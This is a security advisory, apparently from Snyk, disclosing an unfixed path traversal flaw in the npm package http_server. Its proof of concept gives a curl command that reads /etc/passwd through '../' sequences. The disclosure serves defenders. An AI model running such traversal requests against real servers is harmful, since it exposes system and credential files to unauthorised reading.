Arbitrary File Read Affecting http_server package, versions *


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-HTTPSERVER-1012732
  • published 25 Sep 2020
  • disclosed 24 Sep 2020
  • credit lightangel1412

Introduced: 24 Sep 2020

CVE NOT AVAILABLE CWE-22 Open this link in a new tab

How to fix?

There is no fixed version for http_server.

Overview

http_server is a http server module

Affected versions of this package are vulnerable to Arbitrary File Read. It is a path traversal attack (also known as directory traversal) that aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.

PoC by lightangel1412

  • Install the module npm install -g http_server
  • Run 'http_server in ~/Desktop directory :
root@kali:~/Desktop# http_server
server running is :http://localhost:8888
  • Use cURL to access etc/passwd file: $ curl --path-as-is --url 'http://localhost:8888/../../../../../etc/passwd'

References